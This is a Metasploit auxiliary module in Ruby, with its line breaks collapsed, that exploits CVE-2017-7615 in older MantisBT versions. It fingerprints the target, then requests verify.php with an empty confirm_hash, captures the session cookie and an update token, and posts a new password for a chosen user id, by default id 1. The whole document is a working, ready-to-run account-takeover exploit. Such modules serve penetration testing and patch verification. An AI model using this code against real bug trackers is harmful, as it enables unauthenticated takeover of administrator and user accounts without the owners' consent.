MantisBT Password Reset

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MantisBT password reset',        'Description' => %q{          MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.        },        'License' => MSF_LICENSE,        'Author' => [          'John (hyp3rlinx) Page', # initial discovery          'Julien (jvoisin) Voisin' # metasploit module        ],        'References' => [          ['CVE', '2017-7615'],          ['EDB', '41890'],          ['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']        ],        'Platform' => ['win', 'linux'],        'DisclosureDate' => '2017-04-16'      )    )    register_options(      [        OptString.new('USERID', [ true, 'User id to reset', 1]),        OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),        OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])      ]    )  end  def check    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/login_page.php'),      'method' => 'GET'    })    if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')      vprint_status('MantisBT detected')      return Exploit::CheckCode::Detected    else      vprint_status('Not a MantisBT Instance!')      return Exploit::CheckCode::Safe    end  rescue Rex::ConnectionRefused    print_error('Connection refused by server.')    return Exploit::CheckCode::Safe  end  def run    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/verify.php'),      'method' => 'GET',      'vars_get' => {        'id' => datastore['USERID'],        'confirm_hash' => ''      }    })    if !res || !res.body      fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')    end    cookie = res.get_cookies    if cookie == '' || !(res.body.include? 'Your account information has been verified.')      fail_with(Failure::NoAccess, 'Authentication failed')    end    if datastore['PASSWORD'].blank?      password = Rex::Text.rand_text_alpha(8)    else      password = datastore['PASSWORD']    end    if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/      token = ::Regexp.last_match(1)    else      fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')    end    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/account_update.php'),      'method' => 'POST',      'vars_post' => {        'verify_user_id' => datastore['USERID'],        'account_update_token' => ::Regexp.last_match(1),        'realname' => Rex::Text.rand_text_alpha(rand(8..12)),        'password' => password,        'password_confirm' => password      },      'cookie' => cookie    })    if res && res.body && res.body.include?('Password successfully updated')      print_good("Password successfully changed to '#{password}'.")    else      fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')    end  endend